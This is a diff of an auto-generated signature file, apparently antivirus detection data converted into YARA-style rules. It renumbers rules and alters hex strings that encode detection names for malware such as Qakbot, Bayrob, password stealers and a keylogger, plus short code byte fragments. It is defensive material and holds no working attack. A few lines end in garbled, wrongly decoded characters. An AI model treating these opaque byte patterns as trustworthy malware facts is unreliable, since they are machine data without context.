_InfrastructureShared_28420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349748,7 +372166,7 @@ rule _InfrastructureShared_26706{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26707{ +rule _InfrastructureShared_28421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349758,7 +372176,7 @@ rule _InfrastructureShared_26707{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26708{ +rule _InfrastructureShared_28422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349768,7 +372186,7 @@ rule _InfrastructureShared_26708{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26709{ +rule _InfrastructureShared_28423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349778,7 +372196,7 @@ rule _InfrastructureShared_26709{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26710{ +rule _InfrastructureShared_28424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349788,7 +372206,7 @@ rule _InfrastructureShared_26710{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26711{ +rule _InfrastructureShared_28425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349798,7 +372216,7 @@ rule _InfrastructureShared_26711{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26712{ +rule _InfrastructureShared_28426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349808,17 +372226,27 @@ rule _InfrastructureShared_26712{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26713{ +rule _InfrastructureShared_28427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {54 52 3a 4d 53 49 4c 5f 47 65 74 49 6d 61 67 65 49 43 43 50 72 6f 66 69 6c 65 00 01 00 0c 0b 07 20 73 87 00 00 6f 51 00 00 0a 00 00 61 36 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 } //18467 + $a_01_0 = {54 52 3a 4d 53 49 4c 5f 47 65 74 49 6d 61 67 65 49 43 43 50 72 6f 66 69 6c 65 00 01 00 0c 0b 07 20 73 87 00 00 6f 51 00 00 0a 00 00 61 36 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 4d } //18467 condition: ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26714{ +rule _InfrastructureShared_28428{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 4d 58 21 4d 54 42 00 01 00 08 20 01 01 01 01 0d 8e 69 00 00 61 36 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 } //21283 + condition: + ((#a_01_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_28429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349828,58 +372256,58 @@ rule _InfrastructureShared_26714{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26715{ +rule _InfrastructureShared_28430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : $a_01_0 = {4c 50 45 52 3a 46 6f 72 74 61 64 2e 41 00 01 00 0f 61 64 74 65 6c 6c 69 67 65 6e 74 2e 63 6f 6d 01 00 07 76 6d 41 64 49 44 3d 00 00 61 37 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 50 57 53 3a 4d 53 49 4c } //21539 - $a_01_1 = {69 6d 69 6c 69 6e 69 2e 42 00 01 00 0e 00 47 65 74 53 74 65 61 6d 50 61 74 68 00 00 00 01 00 61 37 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 67 79 62 2e 42 47 65 6e 21 64 68 61 00 01 00 0a 00 41 64 64 42 79 47 6f 64 00 00 00 61 37 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //21295 + $a_01_1 = {69 6d 69 6c 69 6e 69 2e 42 00 01 00 0e 00 47 65 74 53 74 65 61 6d 50 61 74 68 00 00 00 01 00 61 37 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6e 75 74 7a 2e 41 21 4d 54 42 00 01 00 0c 04 75 ee 89 31 f0 ff 46 04 33 c0 eb 00 00 61 37 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //21295 condition: ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*21295) >=2 } -rule _InfrastructureShared_26716{ +rule _InfrastructureShared_28431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {54 52 3a 50 57 53 3a 4d 53 49 4c 2f 53 74 69 6d 69 6c 69 6e 69 2e 42 00 01 00 0e 00 47 65 74 53 74 65 61 6d 50 61 74 68 00 00 00 01 00 61 37 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 67 79 62 2e 42 47 65 } //18467 + $a_01_0 = {54 52 3a 50 57 53 3a 4d 53 49 4c 2f 53 74 69 6d 69 6c 69 6e 69 2e 42 00 01 00 0e 00 47 65 74 53 74 65 61 6d 50 61 74 68 00 00 00 01 00 61 37 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6e 75 74 7a 2e 41 21 } //18467 condition: ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26717{ +rule _InfrastructureShared_28432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 67 79 62 2e 42 47 65 6e 21 64 68 61 00 01 00 0a 00 41 64 64 42 79 47 6f 64 00 00 00 61 37 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f } //21283 + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6e 75 74 7a 2e 41 21 4d 54 42 00 01 00 0c 04 75 ee 89 31 f0 ff 46 04 33 c0 eb 00 00 61 37 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f } //21283 condition: ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26718{ +rule _InfrastructureShared_28433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6e 75 74 7a 2e 41 21 4d 54 42 00 01 00 0c 04 75 ee 89 31 f0 ff 46 04 33 c0 eb 00 00 61 37 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 } //21539 + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 67 79 62 2e 42 47 65 6e 21 64 68 61 00 01 00 0a 00 41 64 64 42 79 47 6f 64 00 00 00 61 37 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f } //21283 condition: - ((#a_01_0 & 1)*21539) >=1 + ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26719{ +rule _InfrastructureShared_28434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 6e 75 74 7a 2e 41 21 4d 54 42 00 01 00 0c 06 b8 03 40 00 80 c3 4c 8b 49 10 49 00 00 61 37 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e } //21539 + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 6e 75 74 7a 2e 41 21 4d 54 42 00 01 00 0c 06 b8 03 40 00 80 c3 4c 8b 49 10 49 00 00 61 37 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 4c 64 70 69 } //21283 condition: - ((#a_01_0 & 1)*21539) >=1 + ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26720{ +rule _InfrastructureShared_28435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -349889,7 +372317,7 @@ rule _InfrastructureShared_26720{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_26721{ +rule _InfrastructureShared_28436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349899,7 +372327,7 @@ rule _InfrastructureShared_26721{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26722{ +rule _InfrastructureShared_28437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349909,7 +372337,7 @@ rule _InfrastructureShared_26722{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26723{ +rule _InfrastructureShared_28438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -349919,7 +372347,7 @@ rule _InfrastructureShared_26723{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_26724{ +rule _InfrastructureShared_28439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349929,7 +372357,7 @@ rule _InfrastructureShared_26724{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26725{ +rule _InfrastructureShared_28440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349939,7 +372367,7 @@ rule _InfrastructureShared_26725{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26726{ +rule _InfrastructureShared_28441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349949,7 +372377,7 @@ rule _InfrastructureShared_26726{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26727{ +rule _InfrastructureShared_28442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349959,7 +372387,7 @@ rule _InfrastructureShared_26727{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26728{ +rule _InfrastructureShared_28443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349969,7 +372397,7 @@ rule _InfrastructureShared_26728{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26729{ +rule _InfrastructureShared_28444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349979,7 +372407,7 @@ rule _InfrastructureShared_26729{ ((#a_01_0 & 1)*19521) >=1 } -rule _InfrastructureShared_26730{ +rule _InfrastructureShared_28445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349989,7 +372417,7 @@ rule _InfrastructureShared_26730{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26731{ +rule _InfrastructureShared_28446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -349999,7 +372427,7 @@ rule _InfrastructureShared_26731{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26732{ +rule _InfrastructureShared_28447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350009,7 +372437,7 @@ rule _InfrastructureShared_26732{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26733{ +rule _InfrastructureShared_28448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350019,7 +372447,7 @@ rule _InfrastructureShared_26733{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26734{ +rule _InfrastructureShared_28449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350029,7 +372457,7 @@ rule _InfrastructureShared_26734{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26735{ +rule _InfrastructureShared_28450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350039,7 +372467,7 @@ rule _InfrastructureShared_26735{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26736{ +rule _InfrastructureShared_28451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350049,7 +372477,7 @@ rule _InfrastructureShared_26736{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26737{ +rule _InfrastructureShared_28452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 02 00 21 " @@ -350060,7 +372488,7 @@ rule _InfrastructureShared_26737{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*116) >=11 } -rule _InfrastructureShared_26738{ +rule _InfrastructureShared_28453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350070,7 +372498,7 @@ rule _InfrastructureShared_26738{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26739{ +rule _InfrastructureShared_28454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350080,7 +372508,7 @@ rule _InfrastructureShared_26739{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26740{ +rule _InfrastructureShared_28455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350090,7 +372518,7 @@ rule _InfrastructureShared_26740{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26741{ +rule _InfrastructureShared_28456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350100,7 +372528,7 @@ rule _InfrastructureShared_26741{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26742{ +rule _InfrastructureShared_28457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350110,7 +372538,7 @@ rule _InfrastructureShared_26742{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26743{ +rule _InfrastructureShared_28458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350120,7 +372548,7 @@ rule _InfrastructureShared_26743{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26744{ +rule _InfrastructureShared_28459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350130,7 +372558,7 @@ rule _InfrastructureShared_26744{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26745{ +rule _InfrastructureShared_28460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350140,7 +372568,7 @@ rule _InfrastructureShared_26745{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26746{ +rule _InfrastructureShared_28461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350150,7 +372578,7 @@ rule _InfrastructureShared_26746{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26747{ +rule _InfrastructureShared_28462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350160,7 +372588,7 @@ rule _InfrastructureShared_26747{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26748{ +rule _InfrastructureShared_28463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 01 00 21 " @@ -350170,7 +372598,7 @@ rule _InfrastructureShared_26748{ ((#a_01_0 & 1)*21539) >=100 } -rule _InfrastructureShared_26749{ +rule _InfrastructureShared_28464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350180,7 +372608,7 @@ rule _InfrastructureShared_26749{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26750{ +rule _InfrastructureShared_28465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350190,7 +372618,7 @@ rule _InfrastructureShared_26750{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26751{ +rule _InfrastructureShared_28466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350200,7 +372628,7 @@ rule _InfrastructureShared_26751{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26752{ +rule _InfrastructureShared_28467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350210,7 +372638,7 @@ rule _InfrastructureShared_26752{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26753{ +rule _InfrastructureShared_28468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350220,17 +372648,27 @@ rule _InfrastructureShared_26753{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26754{ +rule _InfrastructureShared_28469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 65 73 74 4b 65 79 6c 6f 67 67 65 72 2e 56 48 21 4d 53 52 00 01 00 07 62 65 73 74 6b 65 79 00 00 61 3c 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 4d 61 6d } //21539 + $a_01_0 = {4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 65 73 74 4b 65 79 6c 6f 67 67 65 72 2e 56 48 21 4d 53 52 00 01 00 07 62 65 73 74 6b 65 79 00 00 61 3c 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f } //21539 condition: ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26755{ +rule _InfrastructureShared_28470{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 65 72 43 72 79 70 74 2e 43 4d 58 21 4d 54 42 00 01 00 0a 8a 06 32 c2 88 07 90 46 90 47 00 00 61 3c 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 4d 61 6d } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_28471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -350240,7 +372678,7 @@ rule _InfrastructureShared_26755{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26756{ +rule _InfrastructureShared_28472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 01 00 21 " @@ -350250,7 +372688,7 @@ rule _InfrastructureShared_26756{ ((#a_01_0 & 1)*16675) >=3 } -rule _InfrastructureShared_26757{ +rule _InfrastructureShared_28473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -350260,7 +372698,7 @@ rule _InfrastructureShared_26757{ ((#a_01_0 & 1)*18467) >=10 } -rule _InfrastructureShared_26758{ +rule _InfrastructureShared_28474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350270,7 +372708,7 @@ rule _InfrastructureShared_26758{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26759{ +rule _InfrastructureShared_28475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350280,7 +372718,7 @@ rule _InfrastructureShared_26759{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26760{ +rule _InfrastructureShared_28476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350290,7 +372728,7 @@ rule _InfrastructureShared_26760{ ((#a_01_0 & 1)*21027) >=1 } -rule _InfrastructureShared_26761{ +rule _InfrastructureShared_28477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350300,7 +372738,7 @@ rule _InfrastructureShared_26761{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26762{ +rule _InfrastructureShared_28478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350310,7 +372748,7 @@ rule _InfrastructureShared_26762{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26763{ +rule _InfrastructureShared_28479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350321,50 +372759,40 @@ rule _InfrastructureShared_26763{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*12082) >=2 } -rule _InfrastructureShared_26764{ +rule _InfrastructureShared_28480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : $a_01_0 = {63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 48 69 6b 69 74 69 2e 67 65 6e 2e 42 21 64 68 61 00 01 00 05 68 69 6b 69 74 01 00 08 77 00 37 00 66 00 77 00 00 00 61 3d 00 00 0b 00 0b 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 32 00 0a 00 0a 8b 55 08 03 32 8b 45 08 89 30 01 } //16931 - $a_01_1 = {d8 33 d9 01 00 06 05 c0 63 03 00 a3 00 00 0a 00 61 3e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4c 54 21 4d 54 42 00 01 00 10 73 01 00 00 0a 72 61 00 00 70 28 02 00 00 0a 2a 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 79 72 6f 62 2e 41 4d 58 21 4d 54 42 00 01 00 11 57 e8 76 17 00 00 59 e8 d0 06 } //1024 + $a_01_1 = {d8 33 d9 01 00 06 05 c0 63 03 00 a3 00 00 0a 00 61 3e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4c 54 21 4d 54 42 00 01 00 10 73 01 00 00 0a 72 61 00 00 70 28 02 00 00 0a 2a 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 43 72 65 64 45 75 6d 45 78 63 6c 75 73 69 6f 6e 2e 41 00 01 00 19 5c 50 53 43 72 65 64 65 6e 74 69 61 6c 4d 61 6e 61 67 } //1024 condition: ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*1024) >=2 } -rule _InfrastructureShared_26765{ +rule _InfrastructureShared_28481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 03 00 21 " strings : $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 32 00 0a 00 0a 8b 55 08 03 32 8b 45 08 89 30 01 00 04 8b d8 33 d9 01 00 06 05 c0 63 03 00 a3 00 00 0a 00 61 3e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d } //18467 - $a_01_1 = {6b 2e 53 4c 54 21 4d 54 42 00 01 00 10 73 01 00 00 0a 72 61 00 00 70 28 02 00 00 0a 2a 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 79 72 6f 62 2e 41 4d 58 21 4d 54 42 00 01 00 11 57 e8 76 17 00 00 59 e8 d0 06 00 00 0f b7 c0 50 e8 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 48 53 } //28482 - $a_01_2 = {43 72 65 64 45 75 6d 45 78 63 6c 75 73 69 6f 6e 2e 41 00 01 00 19 5c 50 53 43 72 65 64 65 6e 74 69 61 6c 4d 61 6e 61 67 65 72 2e 41 70 69 5c 00 00 61 3e 00 00 01 00 01 00 01 } //21076 牃摥畅䕭捸畬楳湯䄮Āᤀ停䍓敲敤瑮慩䵬湡条牥䄮楰\愀>ĀĀĀ + $a_01_1 = {6b 2e 53 4c 54 21 4d 54 42 00 01 00 10 73 01 00 00 0a 72 61 00 00 70 28 02 00 00 0a 2a 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 43 72 65 64 45 75 6d 45 78 63 6c 75 73 69 6f 6e 2e 41 00 01 00 19 5c 50 53 43 72 65 64 65 6e 74 69 61 6c 4d 61 6e 61 67 65 72 2e 41 70 69 5c 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 48 53 } //28482 + $a_01_2 = {44 65 6c 70 65 6d 21 75 72 6c 00 01 00 21 5f 4e 65 78 74 50 61 72 74 5f 32 72 66 6b 69 6e 64 79 73 61 64 76 6e 71 77 33 6e 65 72 61 73 64 66 00 00 61 3e 00 00 01 00 01 00 01 } //21076 敄灬浥甡汲Ā℀也硥側牡彴爲武湩祤慳癤煮㍷敮慲摳f愀>ĀĀĀ condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28482+(#a_01_2 & 1)*21076) >=11 } -rule _InfrastructureShared_26766{ +rule _InfrastructureShared_28482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4c 54 21 4d 54 42 00 01 00 10 73 01 00 00 0a 72 61 00 00 70 28 02 00 00 0a 2a 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //16675 + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4c 54 21 4d 54 42 00 01 00 10 73 01 00 00 0a 72 61 00 00 70 28 02 00 00 0a 2a 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 43 72 65 64 45 75 6d } //16675 condition: ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26767{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " - - strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 79 72 6f 62 2e 41 4d 58 21 4d 54 42 00 01 00 11 57 e8 76 17 00 00 59 e8 d0 06 00 00 0f b7 c0 50 e8 00 00 61 3e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 43 72 65 64 45 75 6d } //16675 - condition: - ((#a_01_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_26768{ +rule _InfrastructureShared_28483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350374,7 +372802,7 @@ rule _InfrastructureShared_26768{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26769{ +rule _InfrastructureShared_28484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350384,7 +372812,7 @@ rule _InfrastructureShared_26769{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26770{ +rule 